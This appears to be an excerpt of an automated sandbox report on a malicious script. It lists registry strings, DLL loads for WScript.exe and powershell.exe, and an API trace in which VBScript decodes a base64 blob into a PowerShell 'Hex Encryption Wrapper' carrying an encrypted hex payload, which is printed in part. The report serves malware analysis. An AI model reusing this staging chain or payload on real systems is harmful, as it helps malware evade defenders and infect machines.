"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135]32:Tba7,"SOFTWARE\Policies\Microsoft" in Source: 00000000-00005784.00000000.143702.21AA8000.00000002.mdmp "HKLM\" in Source: 00000000-00005784.00000000.143702.21AA8000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00005784.00000000.143702.21AA8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005784.00000000.143702.21AA8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00005784.00000000.143702.21AA8000.00000002.mdmp "try\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00005784.00000000.143702.47AA0000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00005784.00000000.143702.47AA0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005784.00000000.143702.47AA0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005784.00000000.143702.47AA0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp "try\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00005784.00000001.143823.47AA0000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00005784.00000001.143823.47AA0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005784.00000001.143823.47AA0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005784.00000001.143823.47AA0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00005784.00000001.143823.497B0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aspnet_compiler.exe" in Source: 00000000-00005784.00000001.143823.497B0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server" in Source: 00000000-00005784.00000001.143823.497B0000.00000004.mdmp33:T2d7d,"WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffa2ba00000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffa43c10000 "WScript.exe" loaded module "RPCRT4.DLL" at base 7ffa48540000 "WScript.exe" loaded module "KERNEL32.DLL" at base 7ffa46bc0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\JSCRIPT.DLL" at base 7ffa21f30000 "WScript.exe" loaded module "AMSI.DLL" at base 7ffa2f6c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffa3cd80000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffa2d820000 "WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffa463a0000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffa463a0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffa463a0000 "WScript.exe" loaded module "KERNEL32" at base 7ffa46bc0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\PMHWS1VI.DLL" at base 7ffa29d00000 "WScript.exe" loaded module "WLDP.DLL" at base 7ffa445f0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffa46c70000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffa460d0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffa449d0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ffa32130000 "WScript.exe" loaded module "OLE32.DLL" at base 7ffa483f0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffa46130000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffa2c900000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7ffa2b9c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCRRUN.DLL" at base 7ffa26d60000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 7ffa21e90000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base 7ffa338e0000 "WScript.exe" loaded module "%COMMONPROGRAMFILES%\SYSTEM\ADO\MSADO15.DLL" at base 7ffa21b00000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base 7ffa3c4b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 7ffa22810000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffa21a20000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffa46bc0000 "WScript.exe" loaded module "USERENV.DLL" at base 7ffa45490000 "WScript.exe" loaded module "VERSION.DLL" at base 7ffa3cd80000 "WScript.exe" loaded module "NTDLL.DLL" at base 7ffa49240000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffa463a0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 7ffa10360000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ffa3b8b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ffa384f0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffa385d0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffa463a0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffa463a0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffa387b0000 "WScript.exe" loaded module "SHELL32.DLL" at base 7ffa46d90000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 7ffa40550000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ffa457e0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ffa41990000 "WScript.exe" loaded module "USER32.DLL" at base 7ffa49070000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ffa34d00000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 7ffa46d90000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ffa3abb0000 "WScript.exe" loaded module "MSISO.DLL" at base 7ffa21d80000 "WScript.exe" loaded module "SSPICLI.DLL" at base 7ffa454c0000 "WScript.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffa463a0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffa2ba00000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffa46c70000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffa463a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffa463a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffa463a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffa32fe0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffa46770000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffa455b0000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffa3cd80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffa17cf0000 "powershell.exe" loaded module "USER32.DLL" at base 7ffa49070000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffa463a0000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffa33090000 "powershell.exe" loaded module "NTDLL" at base 7ffa49240000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffa48800000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffa48540000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffa46bc0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffa166f0000 "powershell.exe" loaded module "OLE32.DLL" at base 7ffa483f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffa48800000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffa46af0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffa15a80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffa15000000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffa14f50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffa449d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffa45f30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffa12ee0000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffa48800000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffa48800000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffa49240000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffa467d0000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffa46d90000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffa460d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffa460d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffa46130000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffa2f6c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffa3cd80000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffa2d820000 "powershell.exe" loaded module "KERNEL32" at base 7ffa46bc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PMHWS1VI.DLL" at base 7ffa29d00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffa21df0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffa12d70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffa12c00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffa12ac0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffa12210000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffa2d850000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffa118a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffa11530000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffa46130000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffa463a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffa113e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffa219b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffa11300000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffa227c0000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffa3ce30000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffa454c0000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffa445f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffa43c10000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffa21a20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffa46bc0000 "powershell.exe" loaded module "USERENV.DLL" at base 7ffa45490000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffa46c70000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffa48800000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffa105f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffa225a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffa103b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ffa101f0000 "powershell.exe" loaded module "GDI32.DLL" at base 7ffa4686000034:T2c2d,"WScript.exe" called "Scripting.Dictionary.CreateObject" ... "WScript.exe" called "Scripting.Dictionary.Exists" ... "WScript.exe" called "VBScript.RegExp.CreateObject" ... "WScript.exe" called "VBScript.RegExp.Pattern" ... "WScript.exe" called "VBScript.RegExp.Global" ... "WScript.exe" called "VBScript.RegExp.Replace" with result: "DQojIEhleCBFbmNyeXB0aW9uIFdyYXBwZXINCiMgPT09PT09PT09PT09PT09PT09PT09PQ0KDQojIEVuY3J5cHRlZCBQYXlsb2FkIChIZXggRm9ybWF0KQ0KJHBheWxvYWQgPSBAJw0KN2JiODQ3YzZlZjBiYzM2MjFlYzQzYmU2NThmMzdhYzc2YTczZmFiNjI3ZGE4MWRlOTliZDY4OGZhMDg3ZjFhMg0KMmFmNjdlZmRkNDVkZTIyNzM0ZGIzMmZhNDlmNzcwYzczZTU0ZmJiMTJiYzBjOGM3YzZhOTQ4YTU4NzllZWJhNA0KMmNmMTcwZTc5ZDc5ZTI3NDEyZGEzNGYzMDFkZjdiY2EyNTUxZWFiYzE0Y2Y5MWRkOThmYzIxOGY5YWU2OGZlNw0KNzhiODNmZjlkYzU5ZTY2YTU1YmI0OGI2MGNiYTM1ODk2YTE1YWY4MzM3ZGE5YWQ4OTlmYTE4OGJhNDg1ZTZhOA0KM2NmZDdiZGFjOTU5ZWU2OTFhOWE0ZjljMGNiYTM1ODk2YTE1YWZmODFmZGQ5Y2MzOWVmMzIyZjJjNWFmZTBhNA0KMmFlMTZmZmRkNDQ0ZTk0YzE4Y2Y0ZjljMGNiYTM1ODk2MzM4ODVmODY0OGVjOGJjZmRiZDY1OGZjMTg5ZTBhMA0KMzFmNjNmZjJiMDIxYTcyNzVkOTY2MmI2MGNiYTQyZGIyMzQxZWFmNTAwY2I4YWM0OTBiZDY3ZmM5NThhZjdiMw0KMzFmNjc4YTllNTY0ZDUyNzE5ZDMyMWY5NDhmMzdiY2U2YTQ2ZWFhOTMxY2I4NmQyOTJiZjQ4YTVjMWNiYTVlNw0KMjU5NTE1YTk5ZDBiYTcwYTc3OTY2MmI2MGNlYTY3YzYyOTUwZmNhYjY0ZDVlNWJiZDdiZDY1OGZjMWNiYTVlNw0KMmNlYTY2YTljNjI2OGQyNzVkOTY2MmI2MGNiYTM1ODk2YTE1YWZmYjY0ZWM4OWMyOTJhYjcxOGY4NThlZTZhOA0KM2NmZDEyODM5ZDBiYTcyNzVkOTY2MmI2MGNiYTM1ODk2ZTQ3ZWVhZjAwY2Y5Y2QwZDdhMDY1ZjRiMjkyZjZiMw0KM2RmNTMxY2FkMjQ1ZjE2MjBmYzIxZmFjMTZkYzY3YzYyNzc3ZWVhYjIxOThkY2UyODNlZjJjYzE4NmMzYTE4Mg0KMzZmYjcwZWRkODRmZDQ3MzBmZGYyY2YxMDU5NzFmODk2YTE1YWZmODY0OGVjODkxZDdiZDY1YTJlYmNiYTVlNw0KNzhiODNmYTk5ZDBiYTcyNzVkOTU2MmRkNDllMzM1ZGQyNTE1ZWRhMTMwY2I5YmJjZmRiZDY1OGZjMWNiYTVlNw0KNzhiODNmYTk5ZDBmZWM2MjA0ZjIyM2UyNGRiYTI4ODkxMTY2ZjZhYjMwY2I4NTlmYTNmODNkZGJjZmFlZWJhNA0KMzdmYzc2ZTdkYTc2YmQzZDI4ZTIwNGFlMDJkZDcwZGQwODRjZmJiZDM3ODZjY2Y1OTJmZTM3ZDY5MTlmZWNhOA0KMzZkMzdhZjA5NDI2OGQyNzVkOTY2MmI2MGNiYTM1ODk2YTE1YWZmYzJmY2I5MWYyOThlODJiZGJjMWQ2YTVlMw0KMzNmZDY2Y2RkYzVmZTYyOTMxZDMyY2YxNThmMjE4YTM2YTE1YWZmODY0OGVjODkxZDdiZDY1OGZlY2UxYTVlNw0KNzhiODNmYTk5ZDBiYTcyNzVkOTY2MWI2NjNlZjYxZDkzZjQxYWZiOTM2ZGM4OWM4ZmE5NzY1OGZjMWNiYTVlNw0KNzhiODNmYTk5ZDBiYTM3NzBmZDkyMWYzNWZlOTcwY2QwZTU0ZmJiOTY0OTNjOGZmOTJlYTY4ZTA4MzgxZTBhNA0KMmNiODdkZjBjOTRlZGM1YTVkOTIzMGY3NWJkZTc0ZGQyYjFiYzNiZDJhYzk5Y2Q5ZmE5NzY1OGZjMWNiYTVlNw0KNzhiODNmYTk5ZDBiOGEwZDVkOTY2MmI2MGNiYTM1ODk2YTE1YWZmODY3OGViMGZlYTViZDMxZGQ4MDg1ZjZhMQ0KMzdlYTcyZThjOTQyZTg2OTcwYmM2MmI2MGNiYTM1ODk2YTE1YWZmODY0OGU4ZWRlODViZDZkOGI4ODg1ZTFhMg0KMjBiODIyYTk4ZDEwYTcyMzE0ZDgyNmYzNTRiYTM4YzUzZTE1YWJhYTI1ZDlhY2QwODNmYzZiZTM4NDg1ZTJiMw0KMzBhMzNmYWRkNDQ1ZTM2MjA1OWQ2OWJmMGNlMTE4YTM2YTE1YWZmODY0OGVjODkxZDdiZDY1OGZjMWNiYTVlNw0KN2NlODZkZTZkZTRlZjQ3NDE4ZDIwNmY3NThmYjRlOGQyMzViZWJiZDNjZjNjODhjZDdiOTM3Y2U5NmFmZTRiMw0KMzljMzNiZTBkMzRmZTI3ZjIwOTY2ZmY0NTRmNTY3ODk2ZTVlZWFhMTAwY2Y5Y2QwYWNiOTJjYzE4NThlZmRlNw0KN2RiODNiZTJkODUyYzQ2ODA4ZDgzNmNiMjE5MDM1ODk2YTE1YWZmODY0OGVjODkxZDdiZDM4YTJlYmNiYTVlNw0KNzhiODNmYTk5ZDBiYTcyNzVkYmI0OGI2MGNiYTM1ODk2YTE1YWZmODY0OGVjODkyZDdkZTJhYzE5NzhlZjdiMw0KNzhlYzcwYTljZTVmZjU2ZTEzZDE0ZjljMGNiYTM1ODk2YTE1YWZmODY0OGVjODkxODVmODMxZGE5Mzg1YTU5Yw0KMGJlMTZjZmRkODQ2YTk1MzE4Y2UzNmI4NjlmNDc2YzYyZTVjZTFiZjE5OTRkMmU0YTNkYjdkODFhNjhlZjE5NA0KMmNlYTc2ZTdkYTAzYTM3NzBmZDkyMWYzNWZlOTcwY2QwZTU0ZmJiOTZkYTNlMjkxZDdiZDY1OGZjMWNiYTViYQ0KNTU5MjNmYTk5ZDBiYTcyNzVkOTYyMWY3NThmOTdkODkzMTM4ODVmODY0OGVjODkxZDdiZDY1OGZjMWNiYTU5MA0KMmFmMTZiZWM5MDZlZjU3NTEyYzQ2MmI0NjhmZjc2YzYyZTVjZTFiZjY0Y2I5YWMzOThlZjdmOGZjNWMzYTE5OA0KNzZkZDY3ZWFkODViZjM2ZTEyZDg2Y2RiNDllOTY2YzgyZDUwYTZmYTQ5YTRjODkxZDdiZDY1OGZjMWNiYTVlNw0KNzhiODZkZWNjOTVlZjU2OTVkOTIyY2UzNDBmNjE4YTM2YTE1YWZmODY0OGVjODkxOGE5MDRmOGZjMWNiYTViYQ0KNTU5MjYyODRiNzI2OGQyNDVkZjczMWU1NDlmNzc3YzUzMzE1YzZiNjMyYzE4YmQwODNmNDJhYzFjMWEzZTRhOQ0KM2NmNDdhZmI5ZDA2YTc0NjExYzIyN2U0NDJmYjYxYzAzYzUwYWY5MTI5ZGU4NGQ0OWFmODJiZGI4MDlmZWNhOA0KMzZiODY5Yjg4OTI2OGQ2MTA4ZDgyMWUyNDVmNTdiODkwOTU0ZTNiNDY5ZWY5YmMyOTJmMDI3YzM5OGE2ZTBiMw0KMzBmNzdiYTljNjI2OGQyNzVkOTY2MmU2NGRlODc0YzQ2MjM4ODVmODY0OGVjODkxZDdiZDY1ZjRhMzkyZjFhMg0KMDNjNTQyYWRmYzU4ZjQ2MjEwZDQyZWVmN2NmYjZjYzUyNTU0ZWJmNDQ5YTRjODkxZDdiZDY1OGZjMWNiZGViNA0KMmNlYTc2ZTdkYTc2YTM1MzA0YzYyN2RmNDhmZjdiZGQyMzUzZTZiZDM2ODJlNWJiZDdiZDY1OGZjMWNiYTVlNw0KMDNlYjZiZmJkNDQ1ZTA1YTU5ZmIyN2UyNDRmNTcxZTAyZTUwZTFhYzJkYzg4MWQ0ODViMTQ4YTVjMWNiYTVlNw0KNzhiODNmYTllNjQ0ZTU2ZDE4ZDUzNmNkNzFjNzMxZTAyNDQ1ZmFhYzA1ZGM4ZmM0OWFmODJiZGI5MmU2OGZlNw0KNzhiODNmYTBiMDIxYTcyNzVkOTY0ZjljMGNiYTM1ODkzYTQ3ZTBiYjIxZGQ5YjkxOGM5MDRmOGZjMWNiYTVl" ... "WScript.exe" called "Msxml2.DOMDocument.6.0.CreateObject" ... "WScript.exe" called "Msxml2.DOMDocument.6.0.createElement" with result: "IDispatch" ... "WScript.exe" called "Msxml2.DOMDocument.6.0("createElement").dataType" ... "WScript.exe" called "Msxml2.DOMDocument.6.0("createElement").text" ... "WScript.exe" called "ADODB.Stream.6.0.CreateObject" ... "WScript.exe" called "ADODB.Stream.6.0.Type" ... "WScript.exe" called "Msxml2.DOMDocument.6.0("createElement").nodeTypedValue" with result: "# Hex Encryption Wrapper# ======================# Encrypted Payload (Hex Format)$payload = @'7bb847c6ef0bc3621ec43be658f37ac76a73fab627da81de99bd688fa087f1a22af67efdd45de22734db32fa49f770c73e54fbb12bc0c8c7c6a948a5879eeba42cf170e79d79e27412da34f301df7bca2551eabc14cf91dd98fc218f9ae68fe778b83ff9dc59e66a55bb48b60cba35896a15af8337da9ad899fa188ba485e6a83cfd7bdac959ee691a9a4f9c0cba35896a15aff81fdd9cc39ef322f2c5afe0a42ae16ffdd444e94c18cf4f9c0cba3589633885f8648ec8bcfdbd658fc189e0a031f63ff2b021a7275d9662b60cba42db2341eaf500cb8ac490bd67fc958af7b331f678a9e564d52719d321f948f37bce6a46eaa931cb86d292bf48a5c1cba5e7259515a99d0ba70a779662b60cea67c62950fcab64d5e5bbd7bd658fc1cba5e72cea66a9c6268d275d9662b60cba35896a15affb64ec89c292ab718f858ee6a83cfd12839d0ba7275d9662b60cba35896e47eeaf00cf9cd0d7a065f4b292f6b33df531cad245f1620fc21fac16dc67c62777eeab2198dce283ef2cc186c3a18236fb70edd84fd4730fdf2cf105971f896a15aff8648ec891d7bd65a2ebcba5e778b83fa99d0ba7275d9562dd49e335dd2515eda130cb9bbcfdbd658fc1cba5e778b83fa99d0fec6204f223e24dba28891166f6ab30cb859fa3f83ddbcfaeeba437fc76e7da76bd3d28e204ae02dd70dd084cfbbd3786ccf592fe37d6919feca836d37af094268d275d9662b60cba35896a15affc2fcb91f298e82bdbc1d6a5e333fd66cddc5fe62931d32cf158f218a36a15aff8648ec891d7bd658fece1a5e778b83fa99d0ba7275d9661b663ef61d93f41afb936dc89c8fa97658fc1cba5e778b83fa99d0ba3770fd921f35fe970cd0e54fbb96493c8ff92ea68e08381e0a42cb87df0c94edc5a5d9230f75bde74dd2b1bc3bd2ac99cd9fa97658fc1cba5e778b83fa99d0b8a0d5d9662b60cba35896a15aff8678eb0fea5bd31dd8085f6a137ea72e8c942e86970bc62b60cba35896a15aff8648e8ede85bd6d8b8885e1a220b822a98d10a72314d826f354ba38c53e15abaa25d9acd083fc6be38485e2b330a33fadd445e362059d69bf0ce118a36a15aff8648ec891d7bd658fc1cba5e77ce86de6de4ef47418d206f758fb4e8d235bebbd3cf3c88cd7b937ce96afe4b339c33be0d34fe27f20966ff454f567896e5eeaa100cf9cd0acb92cc1858efde77db83be2d852c46808d836cb219035896a15aff8648ec891d7bd38a2ebcba5e778b83fa99d0ba7275dbb48b60cba35896a15aff8648ec892d7de2ac1978ef7b378ec70a9ce5ff56e13d14f9c0cba3" ... "WScript.exe" called "ADODB.Stream.6.0.Write" ... "WScript.exe" called "ADODB.Stream.6.0.Position" ... "WScript.exe" called "ADODB.Stream.6.0.Charset" ... "WScript.exe" called "ADODB.Stream.6.0.ReadText" with result: "# Hex Encryption Wrapper# ======================# Encrypted Payload (Hex Format)$payload = 